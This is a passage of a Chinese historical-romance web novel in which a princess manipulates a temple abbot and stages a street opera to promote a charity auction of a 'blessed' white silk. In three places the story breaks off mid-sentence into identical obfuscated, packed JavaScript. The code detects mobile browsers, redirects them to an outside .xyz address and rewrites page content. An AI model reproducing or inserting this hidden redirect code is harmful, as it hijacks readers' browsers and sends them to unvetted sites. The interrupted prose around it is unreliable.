马车在寺门前停下。沈鸣鹿搀着侍女的手下车,一转头,赫然见到旁边缓步走来一个高大男子,心里顿时一咯噔。 此男一身玉色圆领便袍,跨着一匹栗色骏马,腰间佩剑,气度不凡,仪表堂堂。他利落翻身下马,抬头望来——那鼻子那眼睛,不是谢容与是谁? 好晦气的一张脸! “好巧,没想到公主也在这。”谢容与上前两步,朝她作揖,似笑非笑。 “大清早的,将军跑来做什么?”沈鸣鹿面如寒霜。 “公主来做什么,臣便来做什么。”谢容与淡定自若。 沈鸣鹿呵地一声冷笑,一甩袖子,径直踏步朝寺中走去:“站一边去等着,少来做本宫的跟屁虫!” 谢容与被她骂了倒也不恼,却也丝毫没有听劝的意思,闲庭信步跟在她身后:“公主说笑了,这护国寺,百姓来得,公主来得,臣莫非就来不得?” 和尚们刚刚做完早课,走出大殿便瞧见二人火药味十足的对峙场面,哪敢怠慢两位祖宗,忙将他们请入茶室,唤方丈出来迎接。 和尚们走后,沈鸣鹿像是避开什么脏东西似得,把自己的坐垫往旁边轻轻一拽,又拍了几下,才侧头乜着谢容与:“谢将军赖着本宫不放,究竟所为何事,现在可以说了吧?” 早说早解决,一大早见到此人就够坏心情了,她可不想被缠上一整天。 谢容与只是端起茶杯,悠闲抿了一口,徐徐道:“公主多虑了,臣也是来找方丈的,碰巧遇上了而已。” 沈鸣鹿呵呵一笑,压根不信他的鬼话,但眼看着门外已有人影,无暇再继续与他斗嘴,便压低声音警告道:“不管你来做什么,本宫说话的时候就乖乖闭嘴,莫要耽误本宫的事!” 谢容与微微抬眉。 随即纸门拉开,年过五旬的老方丈一身袈裟,缓步走入室内,朝着他们双手合十:“阿弥陀佛,长公主与谢将军大驾光临,真令寒寺蓬荜生辉啊。” 沈鸣鹿和谢容与起身还礼,忙说不敢。方丈落座后,便慈眉善目地看着他们二人:“不知二位今日所为何事?” 沈鸣鹿与谢容与对视一眼,谢容与转头对方丈恭敬道:“本将不过是些微末小事,不碍事,不如公主先请。” 沈鸣鹿心下终于微微满意,想着这小子到底还算识趣。 她轻轻吹开杯面上的茶叶,却开始唉声叹气:“方丈有所不知,本宫的忧虑,正因谢将军而起!” 谢容与看着她。 沈鸣鹿对他的目光视若无睹,只对着方丈大吐苦水:“近来边疆颇不太平,偏偏国库又空虚至极,本宫昨日听谢将军与其他守卫将士们饱受磨难,乃至内外交困,连补给都跟不上,实在忧思难解,虽然有心支援,却真是进退两难!” 听见这串场面话,谢容与微微一哂,换了个坐姿,开始观赏她的表演。 沈鸣鹿继续捂着心口,痛心疾首道:“本宫身为皇室中人,责无旁贷,每每想起此事,都焦虑得难以安寝,真不知如何是好!” 方丈念了一声佛号,庄重道:“此时正是国家危难之时,正需上下齐心,共度时艰,非一人之功,长公主莫要太苛责自己,我等也正日夜诵经,希望能保国土平安。” 沈鸣鹿面露感激,起身行了一礼:“我就知道方丈与那些闭目塞听、只晓得独善其身的和尚不同,始终是记挂着大梁百姓,怀有济世之心的!护国寺有您这样的高僧坐镇,实在是大梁之福!” 方丈也连忙起身,虚虚托住她的手臂:“长公主言重了,这是贫僧分内之事。” 沈鸣鹿作势垂泪:“昨日母后也因忧心国事,险些做出傻事,幸而得到佛祖庇佑,这才化险为夷,转危为安——想必这也是方丈日夜诵经的功劳。” 方丈推辞:“这万万不敢当,想来是太后为国为民的至诚之心感动天地,天神护法,遇难成祥。” “方丈所言极是!” 沈鸣鹿立即借坡下驴,迅速从木匣中取出白绫,向前挪动数步,殷切道:“本宫日夜思索,想来也只有此物,能够承载太后为国为民的至诚之心。” 她深深躬身:“还请方丈为此物开光,向百姓昭示其祈福功效,护佑我大梁将士,解国家燃眉之急!” ——先卖惨得到对方同情,再把对方捧得高高的,之后再谈起什么条件来,可不就不好意思拒绝了吗? 沈鸣鹿垂着头,忍不住微微翘起嘴角,心里的算盘珠子拨得叮当响。 小小方丈,拿捏。 方丈:“……” 方丈顿时明白自己被套路了,看着递到跟前的白绫,手却迟迟未接,露出为难神色。 气氛有些凝滞,谢容与在一旁拍了拍手,闲闲笑道:“公主这一番唱念做打,着实精彩。我看京城名角,也不如公主更会捧人,今日可算让臣和方丈开眼了。” 这话看似夸奖,实则全是嘲讽。要是换成现代那种高桌高椅子,沈鸣鹿这时一定已经一脚踹了过去。 偏偏茶室中家具低矮,他俩都跪着,没法子在桌下搞什么小动作,沈鸣鹿只能眉毛一竖,阴飕飕剜他一眼,暗骂你在这拆什么台? 方丈见有人解围,反倒松了口气,念了声阿弥陀佛,双手合十道:“长公主慈悲心肠,贫僧感佩不已。然而此物……终究不是祥瑞之兆。佛门清静之地,不打诳语。贫僧实在难以言说此物有祈福之功,还请公主体谅。” 沈鸣鹿在脸上堆起笑容,正要再劝,耳旁“铮”地一声轻响,谢容与宝剑出鞘。 雪白剑身映着他漆黑双目,谢容与语气平和道:“可惜,按方丈这说法,本将这御赐的宝剑杀人无数,也是破戒之物,杀孽深重,罪大恶极,自然也不能拿来开光了。” 方丈瞠目结舌——你小子到底站哪边? 沈鸣鹿反应极快,当即抓住这个话头,轻声斥责道:“谢将军,方丈乃是我大梁的得道高僧,又岂会为区区表象所迷?将军之剑,斩妖除魔,守卫疆土,是名副其实的护法之剑,岂能拘泥于‘杀孽’二字?” 谢容与从善如流,归剑入鞘:“公主说的是,是臣着相了。” 方丈:“……” 沈鸣鹿转头看向方丈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235092|181844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,恭敬笑道:“方丈见笑了,本宫与谢将军不过俗人两个,实在不该对佛法妄加揣测。然而本宫心里想着,这白绫看似平平,实则却与将军宝剑一般,寄托着拳拳报国之心,意义非凡哪。” 方丈捻着佛珠,叹道:“罢了,公主一片孝心,贫僧自然也不是那等冥顽不化之人。此物,若只是开光便也罢了,但要贫僧对外说是祥瑞,终究是欺世盗名,有违佛戒,亦损皇家清誉、本寺清名。还望公主三思。” 沈鸣鹿非但没有露出失望之色,反而一笑:“方丈此言差矣!方丈莫不是还未听闻宫中消息?” 方丈疑惑:“什么消息?” 沈鸣鹿循循善诱:“昨日宫中天降吉兆——太后手抚白绫垂泪之时,竟然引得百花盛开,桃花烂漫!” 方丈也微微笑着,语气却有几分迟疑:“正月时候,宫中竟然真开了桃花么?” 沈鸣鹿道:“千真万确,钦天监已经在御前奏报,本宫又岂敢在佛前妄语!” 她又从匣中捧出一朵桃花,放在案前,朝谢容与使了个眼色。后者抬起眼眸,回忆片刻,点头:“确然已经开花了。” 人证物证皆在,方丈看着面前的桃花,没话说了。 沈鸣鹿捧着白绫,语气激动而虔诚:“方丈,此乃上天垂示!母后心忧国事,一念至诚,竟感天动地,降下祥瑞!这白绫,母后太后心系家国、愿以己身祈福的证物啊!” 沈鸣鹿继续给方丈戴高帽:“方丈佛法精深,由您来开示这‘天兆’与‘人心’的感应,使其真正成为沟通天地慈悲、护佑家国的桥梁,再合适不过!此举非但不违佛戒,反而正体现佛门正法的圆融通透,化烦恼为菩提,是大慈悲、大智慧、大功德!” 方丈的手指默默捻着佛珠,陷入了沉思,苍老的目光落在白绫上面,显然有所动摇。 沈鸣鹿见火候差不多了,便笑着将白绫收回匣中:“不急,这条白绫便先留在这里,有劳方丈开光。后面的事,方丈可慢慢再做打算。” 她将匣子留下,起身行礼。方丈见她不再步步紧逼,也松了口气:“长公主慢走。” 侍女跟着沈鸣鹿出门,疑惑地小声耳语:“公主,咱们就这么走了?” 她还以为公主最后会说服那个老和尚呢。 沈鸣鹿神秘一笑:“放心,等我们走了之后,他肯定会照做的。” 要的就是一紧一松,张弛有度。一味紧逼,反而只能取得反效果。 更何况——她的大招还在后面呢。 侍女依然疑惑不解,但看她这幅胜券在握的模样,也只能笑道:“公主一向有成算。” “那是自然。”沈鸣鹿微一驻足,回头侧目,果然看见谢容与也走出房门,二人对上视线,她凉飕飕道,“只是不知道某位将军,究竟作何要阴魂不散。” 谢容与慢悠悠地朝她走近:“公主对臣的表现可还满意?” 沈鸣鹿嘲讽道:“谢将军在本宫和方丈之间浑水摸鱼,倒是自得其乐。” 谢容与道:“臣斗胆揣测,刚才还是多少帮了公主一把。” 沈鸣鹿道:“谁知道将军是不是来帮倒忙的呢。” 谢容与与她讲道理:“公主莫要冤枉,臣岂会对自己人落井下石。” 沈鸣鹿瞪他:“少往脸上贴金,谁是你自己人?” “昨日才说过的,臣和公主是盟友。” 谢容与一双黑眸如镜子一般,映着她因生气而晕红的双颊,而后微微弯起:“公主莫要忘了。” 5. 第 5 章 沈鸣鹿冷笑道:“为了利益暂时结盟罢了,少拿这个同本宫胡搅蛮缠!” 不等谢容与回话,她便用力一甩袖子,大步离开:“本宫一个人就能解决,才不需要你来多管闲事!” 谢容与看着她倔强离去的背影,不由得笑着摇了摇头。 侍从在一旁嘀咕道:“长公主好硬的心肠,真是一点不领情。” 谢容与抬头望天,表情是被怼过千百次的平静:“无妨,也不是第一天知道公主这脾气。” 侍从继续碎碎念:“长公主那样硬气,却也没见她真说服那位方丈。” 谢容与却吩咐道:“去把我那钱袋子拿来。” 侍从撇撇嘴,知道将军这是要花钱买人情,帮长公主扫尾了,心中颇不服气。 长公主那么有能耐,怎么净知道挖坑怼人,还要他们将军慷慨解囊,帮忙填坑? 他们将军的钱也不是大风刮来的! 他心中愤愤不平,面上也不情不愿,手也慢吞吞的。谢容与啧了一声,嫌他拖拉,正要伸手来拿。 拱门外忽然响起一阵嘈杂声音。 “老张,老张,快别烧香了,今天城里有热闹可看,去晚了抢不到座!” “你急嚷嚷什么……这不年不节的,能有什么热闹?” “你还不知道吧,朱雀大街上新修的那个戏台,今儿请了人免费唱戏!” “而且你看这宣传纸上画的,似乎还是新戏,是说长公主和太后的事情呢!” “哎哟,这可真是个稀奇!” 二人的动作双双顿住,同时朝说话声传来的地方望去。 几个布衣百姓正勾肩搭背,热热闹闹地边说边走:“再晚点去,怕是附近能瞧个影儿的酒楼包厢都满了……” 谢容与和侍从对视一眼,索性收了手,转而吩咐道:“去戏台对面定个包厢。” 侍从心中也被勾起了好奇,顿时应和点头,立即跑出去牵了马,飞一般狂奔回城。 侍从脑中杂念纷飞,回想起长公主临走前信誓旦旦的神态,心想她的底气,莫不会就是和这座戏台有关? 可是一座戏台一出戏,又能改变得了什么?何况还和护国寺离得这样远,难不成还能左右得了那位方丈的主意? 他心道,真不知这位公主到底想唱哪出戏! 茶室内,方丈手抚白绫,轻轻叹了口气。 一位小和尚在旁边探头探脑,憋了半天,终于忍不住开口询问:“师父,你之前不是总教我们不要着相,怎么到了这条白绫这儿,就不松口了呢?” 他刚刚一直陪侍在一旁,听师父和长公主你来我往推拉半天,心里憋了一肚子疑惑,这下总算能问出口了。 他念叨道:“我看这条白绫做工上佳,夸夸也无妨的嘛,祥瑞不祥瑞的,不就是一个转念的事情嘛,哪里就至于破戒了。” 方丈摇头叹息:“可没有你想的这么简单。” 他虽然身在寺中,却并非完全不问世事。边疆大乱,朝中暗潮汹涌,各方势力派系林立,他其实也早有耳闻,只是不愿让护国寺搅进这趟浑水。 表面上看,长公主是想让他证实白绫的祥瑞,实则却是想要拉他站队。 现在朝中权贵几乎都站在长公主的对立面,就连黎民百姓也对长公主颇有微词,他若是想要明哲保身,带着护国寺僧众独善其身,便势必不能站在人心的对立面。 小和尚听方丈讲了些道理,想起之前听到的只言片语,警觉道:“是了,前些日子还听到香客议论,说长公主骄奢淫逸,一掷千金。咱们要是替她说话,岂不是要一块儿挨骂?” 他顿时醒悟,连连摇头道:“师父说得对,这个白绫,咱们可碰不得!” 方丈欣慰地摸摸他的脑袋:“正是如此。” 他三两下将白绫收好,起身徐徐道:“我们护国寺,一向不参与朝中纠纷,眼下形势并不明朗,这条白绫,便放在佛堂,让僧众读读经便罢了。” 他们一前一后往大殿走去,却见原本前来上香的百姓全都交头接耳,议论纷纷,而后哗然作响,争先恐后地涌出寺门,仿佛生怕错过了什么好事。 “快快,去晚了可就瞧不着了!” 大小和尚听得云里雾里,方丈念了声佛号,向最近一人问道:“施主,外面出了何时,怎么这样匆忙?” 那人“嗐”了一声,双目放光,兴奋道:“大师您有所不知,长公主在朱雀大街搭了个好气派戏园子,今儿还要唱一出新戏,不用买票,谁都能看!” 他用手比划,夸张道:“全京城的人可都挤过去了!街上比状元游街还热闹!这样的大好事,咱们平头百姓一辈子都不见得能遇上一回,岂能错过!” 他见到老乡,便赶紧道一声得罪,喊着名字匆匆追了上去,只留下方丈与小和尚面面相觑。 小和尚也被他说得心痒痒,连忙拉拉方丈袖子:“师父,长公主要排新戏?她这是打算做什么?” 方丈:“……” 方丈看看手中白绫,又看看自己徒弟,轻咳一声:“师父也不清楚,不如你下山去看看?” 小和尚就等这句话了,欢天喜地利落应道:“好嘞师父!” 他跟着众人一起下山,排队进了城门,跟着拥挤稠密的人潮一齐向朱雀大街涌去。 戏台周围早已经堵得水泄不通,原本的观众席早已经坐满了人,但百姓还是源源不绝地在朝前面挤着,附近的屋顶、树上都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235093|181844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爬满了人。小贩的叫卖声、孩子的哭闹声、观众的议论声交织一片,到处都闹哄哄的。 小和尚在清净地方呆惯了,乍然来到这闹市,又挤得满头大汗,被人踩了好几脚,险些踩掉了鞋子,捂着脚哎哟哟直叫唤,苦不堪言。 一个瘦子抱着胳膊,在他旁边抱怨连连:“这个长公主,口上说着给大家发福利,实则大冷天的喊大伙儿赶过来看戏,还弄得这样声势浩大,不是故意折腾人是什么!” “我看哪,她说是要帮忙筹集军晌,实则是想要中饱私囊,往自己的荷包里捣鼓呢!” 大伙都在人群中挤的难受,又迟迟不见开幕,便也附和起来,说道:“就是就是。” 小和尚听着听着,满心期待也渐渐变成了不耐与抱怨,心想自己现在可是一点热闹没瞧到,净吃苦头来了! 又听见一人问道:“那戏台上怎么还蒙着一层布,里头难不成有什么见不得人的东西么?” “怎么不揭开让大伙瞧瞧?” “这长公主说要让大家免费看戏,莫不是叫人看个空城计?” 窃窃私语在人群中弥漫开来,犹如一层阴云,渐渐笼罩了整条大街,让围观的群众愈发躁动不安。 小和尚也开始疑神疑鬼,心想不会是那长公主见大家说她坏话,故意用这伎俩来折腾人的吧? 小和尚越想越是那么回事,打起了退堂鼓,可真要走时,却又怎么都舍不得。 他踮起脚尖使劲往台上看,较劲地想,若是待会那戏不好看,自己可一定要同师父好好说道说道,绝不能遂了那个长公主的心意! 正心烦意乱间,只听一道敲锣声轰然响起,犹如平地一道惊雷,穿过四周嘈杂之声,震得树林簌簌作响。 人群瞬间安静下来,谁也顾不得再说闲话了,无数双眼睛直勾勾地盯着戏台,屏住呼吸。连婴儿似乎都察觉到了气氛的严肃,下意识止住了哭声。 刹那间,数条彩色丝绸从舞台两侧飞出,高高悬在空中,随风飘展,犹如天上彩云。众人一片惊呼,随即台前垂落的红色帷幕缓缓拉开,露出舞台全貌。 只见雕梁画栋的戏台背后赫然垂着一块巨型幕布,绘制着风雪山川,金色宫阙,大气磅礴。台中央高高垂着一条素净的、一尘不染的白绫,被光一照,犹如空中泄下的一条银河。 众人又轰然爆出一阵惊呼,好家伙,这样的戏台,这样的布置,可是从没见过的新样式! 旁边一位老者颤巍巍伸手指着那块幕布,震惊道:“那,那图上画得,竟如真的一般……” 一人呆呆道:“就连布置都如此别出心裁,后面的戏……那得是怎样的精彩万分?” 小和尚目瞪口呆,张大了嘴巴。 6. 第 6 章 原本在一旁煽风点火、抱怨连天的那瘦子也看傻了眼,可是听见周围人的评价转了风头,又顿时心生警觉。 不对不对,他可是奉了自家主子的命令,特意跑到人群中煽风点火、败坏长公主名声的,怎么能叫那女人靠着一个戏台就翻了身? 他连忙捡起自己的使命,尖声道:“那戏台后面挂着的,怎么会是一条白绫?这可是不祥之物!” 他的嗓门颇大,倒是引起了一些人的注意,然而转瞬间乐声骤起,战鼓擂响,号角呜咽,众人的注意力瞬间又尽数被吸走,只摩肩接踵,拼命踮脚伸脖,定睛去瞧台上热闹。 只见十二名身着破损甲衣的武生沉重地踩着鼓点,搀扶彼此,艰难上场。 低沉悲壮的合唱响起:“朔风烈,铁衣寒,腹中饥鸣伴刀环……” 不知何处开始飘雪,纷纷扬扬的白色碎末落在将士们的肩膀上,仿佛有千金之重。一位士兵倒下去,又被其他人搀扶起来,咬牙,步履蹒跚地朝前走去。 台下众人仿佛也被拉入了苦守北疆的凄凉境地,一个个咽着口水,咬紧嘴唇,瞪大眼睛,为舞台上的将士们捏着一把汗。 那捣乱的瘦子左右四顾,见无人搭理他,心中不快,又想作梗,可看着台上那从未见过的灯光和特效,那令人身临其境的舞台布景,那奇特而逼真的服装……看着看着,便挪不开眼珠子了。 他侥幸想着,那台上分明演着是北疆故事,和他的使命并没有什么矛盾。这么一想,便也伸长脖子,心安理得地看了起来。 忽而鼓声一敛,武生分列两侧,伏地而拜,台中一道雪亮的光柱自穹顶投下—— 一名旦角踏着云步款款而来。 她一身素雅常服,手捧佛珠,气质雍容,眉头紧锁,姿态庄重而哀婉,竟是将太后的威仪与悲悯神色仿了八九不离十。 她在佛像前跪下,手持念珠,却明显心神不宁。侍女从一旁冲上来,焦急喊道:“娘娘,户部……户部说,库银只剩三千两了!北疆……北疆的急报又到了!” 太后身形剧震,手中念珠落地,发出一声悠长悲凉的叹息:“佛祖啊,哀家日日焚香祷告,可是这江山烽烟,黎民苦楚,何时才是个尽头?如今,便是连哀家唯一的女儿,也要离哀家而去了!” 她缓缓起身,摇摇摆摆地走向后面那匹白绫,拖长声调,哀哀唱道:“一匹绫,千斤重,系着家国万民痛……哀家舍此残躯,若能换得乾坤靖,九泉下……也瞑目!” 唱腔悲怆高亢,唱的又是最近京城中热议的话题,台下观众一时间纷纷心中恻然,百感交集,不少人甚至开始偷偷抹泪。 四周帷幕垂下,台上光线变得暗淡无比,仿佛暗示着某种不祥的征兆。 众人屏息凝神看着,就在太后拿起白绫之际,忽然只有一道强光落了下来,将太后与白绫笼罩其中,光芒神圣而明亮,仿佛是万千神灵于九重天上,应声垂眸,投来了轻轻一瞥。 空中落下无数粉色花瓣,犹如天女散花,背景幕布转瞬切换,赫然变成了云蒸霞蔚的桃花丛林。两旁奏乐的钟磬之声瞬间由弱变强,颂唱佛经的梵音如水波一般传来,清越空灵。 一道浑厚男声唱道:“天佑大梁!正月二十,慈宁宫后,应召而开桃花无数,祥云笼罩,经久不散!此乃太后仁德感天,心系社稷苍生,又柔慈爱女,致上苍垂怜,降下福泽之兆也!主兵戈消弭,骨肉团聚,国运昌隆!” 太后满脸虔诚而震撼,她缓缓转身望着台下,泪水滑落,手捧白绫,欣喜道:“天兆祥瑞,我大梁有救了!” 帷幕拉开,台上光芒大盛!无数的粉色花瓣逸散开来,百姓们悬着的心顿时落回了肚子里,轰然叫好! 小孩们也争相去抓空中飞扬的花瓣,跟着挥舞着手大叫:“祥瑞!太后引发祥瑞啦!” 太后缓缓在台中跪拜下来,双手将白绫高高捧起,声音充满了希望与感恩:“天心垂怜示祥瑞,一念至诚通九霄!此绫此身皆可舍,唯愿福泽护山河!” 两旁合唱声再起,气势恢宏,声音激昂:“祥云绕,梵音飘,至诚一念感碧霄!化厄绫,成瑞绡,承载万福佑英豪!” 台下的百姓们听得心潮澎湃,泪流满面,又热血沸腾,一个个掏出身上铜板和银锭,便径直往台上砸去:“好!唱得真好!” 瘦子被四周的气氛感染,也忍不住伸手去掏钱袋,掏着掏着,却忽然感觉哪里不对——等等,他怎么也跟着砸钱了? 低头一看,钱袋已经空空如也,里面的银锭早已经被他扔出去了。 他顿时一身冷汗,见左右都是兴奋砸钱的人,忙扯着嗓子大喊:“诸位!莫要被哄骗了,这只是那长公主编排的一出假戏!白绫分明是不祥之物!莫听她颠倒黑白——” 还没喊完,脑袋上便挨了重重一拳,差点叫他咬断了舌头。 瘦子吃痛抬头,看见身后一位大汉怒瞪着他,啐道:“呸!那分明就是护佑我大梁的祥瑞!你这般冥顽不灵,莫不是敌国派来的奸细,想看咱们大梁倒霉!” 此话一出,周围的百姓全都对他怒目而视,虎视眈眈。 瘦子吓得缩成了鹌鹑,以手遮面,连个屁都不敢放一个。 而散落各处的瘦子同僚们,此时的境遇也都不相上下。他们万万没料到,一场戏演完,舆论便大势已去,百姓们彻底导向了长公主这一边,他们再想挑拨煽惑,便是螳臂当车,独木难支了。 台上的演员并不知道这段小小插曲。太后转身面朝观众,高举手中白绫,声音中充满悲悯与力量:“此绫,承载哀家与万民对将士之念,得上天赐福!哀家如今便将此物捐出,于十日后举行义卖,与各位共襄义举!愿能为大梁将士添一件寒衣,增一口军粮,铸一份必胜之信念!福泽流转,功德无量!” 原本破衣烂衫的武生将士们再度上台,仿佛真的因此而得到了补给,一个个挺直腰板、士气高昂。 合唱声又道:“太后祈福绫,化厄成祥瑞!请得圣物归,福佑家国威!捐作军饷银,助我英雄戟!” 百姓们看得热泪盈眶,听见不知哪里来的声音带头高呼:“太后千岁!祈福圣物佑大梁!” 很快,群情被点燃,观众自发跟着高呼,声震云霄。 更有不少自恃家底雄厚的豪强富商,已迅速活络了心思,激动议论:“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235094|181844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祥瑞白绫,竟然要拿出来卖?不知是怎么个卖法?如何才能将其请回家中?” 正说着话,只见戏台两侧已经悄然摆出柜台,几名魁梧男子站在台前,敲锣道:“诸位若想参加三日后的义卖会,可在本处获取最新资讯。现义捐一百两银,便可得到义卖会入场券一张,数量有限,先到先得——” 听到一百两银子的数目,人群顿时哗然。如今寻常一户人家,一年的开支也就二三两银子,一百两,可真是个高攀不起的大数目了! 但片刻的沉寂之后,却立刻有大户脱颖而出,手里抓着银票,从人群中挤了出来。 “我要我要!” “我先来!” 他们哗啦啦朝着两侧柜台涌去,争先恐后地递出银票。 四周的百姓翘首而望,虽然自己拿不出钱,却也乐得看热闹,起哄呐喊。那种澎湃的热情不仅没有因为表演结束而退散,反而愈演愈烈,简直到了狂热的地步。 一些坐在附近酒楼包厢的达官显贵,原本自恃身份,不愿与平头百姓为伍,此时见柜台前人头攒动,也不禁有些坐不住了,纷纷向身边的小童随从吩咐,叫他们也去拿一张入场券回来。 届时买不买的倒是其次,但这东西明摆着就是抢手货,若是日后其他人都有,就他们没有,那岂不是很没面子? 甚者,还要被骂一声冷血无情,不愿为国捐银! 不就是一百两银子,谁差这点钱了! 贵人们交谈的声音都小了下去,一双双眼睛紧紧盯着自家随从的脑袋,看他们挤到了何处,能否在这场抢购大战中胜出。 一些地位更高的,便直接开始打听:“不知长公主现在何处?能否直接向长公主要一张券来?” 他们四处打听,然而周围过于嘈杂,每个人都是一问三不知,谁也找不到沈鸣鹿的去向。 在人群挤挤攘攘,权贵们四处寻人的时候,这一切的幕后推手正悠闲坐在戏台后的小楼里,悠闲喝茶。 沈鸣鹿倚在窗边,垂眸听着街上沸腾声浪,一把折扇抵在面前,慢悠悠摇了摇,遮住得意神色。 什么叫日进斗金?这就叫日进斗金! 身边的紫苏看着楼下挤挤攘攘的人群,也不由得叹服道:“公主真有主意,没想到一场义演,竟然有这样大的作用。”也不枉她们紧锣密鼓地准备了整整一夜。 如此一来,不仅打响了白绫的祥瑞名号,为后续义卖做足了宣传,还能收到不少银两,更是直接扭转了百姓对长公主的观感,简直是一举数得! 之前下人中还有人埋怨,说长公主明明欠着一百万两银子,却还要做什么义演,实在是浪费时间云云——这下可没话说了吧。 沈鸣鹿轻轻一笑,高深莫测道:“不论什么时候,都是有了流量,才好做事啊。” 她抬起眸子,恰好看见了坐在对面酒楼中的谢容与。对方见她望来,便微微一笑,做了个拱手的手势,朝她无声做个口型:公主好本领。 沈鸣鹿收起扇子,朝他挑衅一笑,也以口型回道:那是当然。 她粉面红唇,鬓边珊瑚摇曳,宛如冬日红梅,张扬明艳,烈烈如火。 7. 第 7 章 “成何体统!此事成何体统!” “历朝历代,从未见过如此不知廉耻的公主!” “陛下,长公主此举,分明是亵渎孝道,诅咒太后,为了一己私欲,败坏伦理纲常!再任由她这样下去,国将不国,法将不法!” 外面的白绫营销如火如荼,宫内弹劾的浪潮却也在同一时间达到了巅峰。 奏折如雪片般飞入御书房,堆积成山。早朝的时候,言官们更是如同打了鸡血一般,争先恐后出列,高举象牙笏板,或严厉控诉,或声泪俱下,一个个义愤填膺的模样,活像被长公主刨了祖坟。 “陛下,长公主名为义演,实则妖言惑众,煽动民心!借太后祈福之名,愚弄百姓,扰乱视听,其心叵测!” “长公主竟在在国家危难、将士饥寒之际,不思节俭,反而利用军饷危机炒作敛财,盘剥百姓,其行径比奸商更甚!此举分明是在发国难财!” 罪名一桩桩一件件,越说越多,直把沈鸣鹿说得十恶不赦,死罪难逃。 龙椅上的小皇帝绞着袖子,瑟瑟发抖,又不敢得罪言官,只能弱弱道:“诸位爱卿的意见,朕已知晓了……” “陛下!”一位言官再次出列,正气凛然道,“臣明白陛下顾念骨肉之情,但此事万不可姑息!必须严惩不贷!” “没错,长公主一介女流,做事毫无章法,目无纲纪,岂能继续由她胡来?依臣之见,还是速速送她出去和亲为妙!” “和亲”二字一出,被沈鸣鹿脑瓜崩的痛苦也一起跟着浮现,小皇帝心头一颤,鼓起勇气,咬咬牙道:“此事再议,退朝!” 散朝后,他也顾不得那些大臣私下如何议论,心中又作何想法,换了衣服,便哭着去了长公主府。 “阿姐,那些言官都骂你……呜呜,这,这可如何是好……” 他趴在沈鸣鹿膝头哇哇大哭,几名太监站在一旁,战战兢兢地汇报着弹劾内容。 沈鸣鹿半靠在美人榻上,听着那些骂名,面上却不见惊慌神色,反倒是似乎有些兴味。一抬眼,看见自己的紫苏也站在门口,一副犹犹豫豫的神色。 她抬手止住太监们的声音,冲紫苏一抬下巴:“什么事,说。” 紫苏脸色苍白,快步上前,小声道:“公主,外面又开始传起流言蜚语,对咱们很不利……” 她战战兢兢地将一份报告递给沈鸣鹿。沈鸣鹿低头扫了一眼,都是近日在茶馆酒肆中记录到的百姓风评,相比于前几日的好评如潮,什么“长公主用太后的上吊绳赚钱”、“诅咒朝廷”、“中饱私囊”之类的负面言论明显增加。 约莫是言官们的弹劾内容流传了出去,被有心人添油加醋,流传开来,导致百姓们议论纷纷,甚嚣尘上。 她将报告扔在桌上,笑道:“好!弹得好,骂得妙!本宫要的就是这个效果!” 太监紫苏全都呆住了,连原本哭得稀里哗啦的小皇帝也忘了流泪,傻傻地仰头看她:“阿姐,你是不是发了癔症?” 沈鸣鹿又往他脑门上敲了一记,没好气道:“傻小子,你给我听好了——热度,就是金钱!本宫大张旗鼓地搞戏,不就是为了炒出热度,炒出话题么?” 她本还想着该如何扩大讨论量和知名度,让更多的人知道义卖会的事情,这下好了,那帮老古董送货上门,白白送了她一波大流量! 要知道,那帮言官加上他们背后的势力,人脉关系盘根错节,消息流通的速度,可比她自己辛辛苦苦造势,可快上太多了! 她的双目闪着兴奋的光:“拜他们所赐,现在全京城、乃至全国都在议论‘太后白绫’!这样的热度,我们花一百万两银子都买不来!尽管让他们弹,弹劾得越狠,骂得越凶,知道这事的人就越多!” 小皇帝手捂额头,睁着迷茫的泪眼看她:“可是阿姐,虽然大家都知道这件事了,可是,可是他们都在骂你啊……” 沈鸣鹿自信一笑:“他们要是不骂,恐怕还记不住呢!” 她指着报告和奏章上那些恶毒的指控,“看见没?这些词多扎眼?多有记忆点?‘太后祈福白绫’,这名字平平无奇,有些人听完就忘了,但要是换成‘诅咒太后的白绫’、‘长公主用来搞邪门歪道的白绫’?这下就与众不同了吧?绝对让人过耳不忘!” 小皇帝和太监们都是头一次听见这种歪理,显然大受震撼,呆呆张着嘴,像一群被吓傻的小鸡崽。 一旁的紫苏依然有些忧虑,附耳提醒道:“可是公主,若是任凭他们这样颠倒黑白,对后面的义卖会恐怕也多有不利,是不是应该派人澄清一下咱们的名声?” 沈鸣鹿从容地摇了摇手指:“这你就错了。我们现在要做的,不是洗白,而是把那些滔天骂名和争议,转化为实实在在的购买力!” 想浪费她的时间精力去自证?去澄清?哈哈,她才不上那个当! 